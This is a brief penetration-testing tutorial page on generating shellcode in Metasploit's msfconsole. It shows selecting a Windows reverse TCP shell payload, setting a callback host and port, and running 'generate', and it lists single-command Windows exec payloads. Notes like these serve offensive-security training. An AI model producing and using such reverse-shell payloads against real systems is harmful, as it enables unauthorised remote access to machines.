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# Generate shellcode

## Generate shellcode <a href="#generate-shellcode" id="generate-shellcode"></a>

An easy way to generate shellcode is by using `msfvenom` or `msconsole`. I mostly see people recommending msfvenom online, but I think msfconsole can be a bit easier to work with. But of course it is the same thing, just different interfaces.

### Msfconsole <a href="#msfconsole" id="msfconsole"></a>

In msfconsole you have the keyword `generate` that help us generate shellcode. So first we have to select a payload.

```
use payload/windows/shell_reverse_tcp
```

Now we set the variables as usual

```
set LPORT 5555
set LHOST 192.168.0.101
```

Now we genereate the shellcode using the command `generate`.

To see the options use `generate -h`

### Single commands in windows <a href="#single-commands-in-windows" id="single-commands-in-windows"></a>

If you don't have space and only want to execute a single command you can use

```
use payload/windows/exec

use payload/cmd/windows/generic
```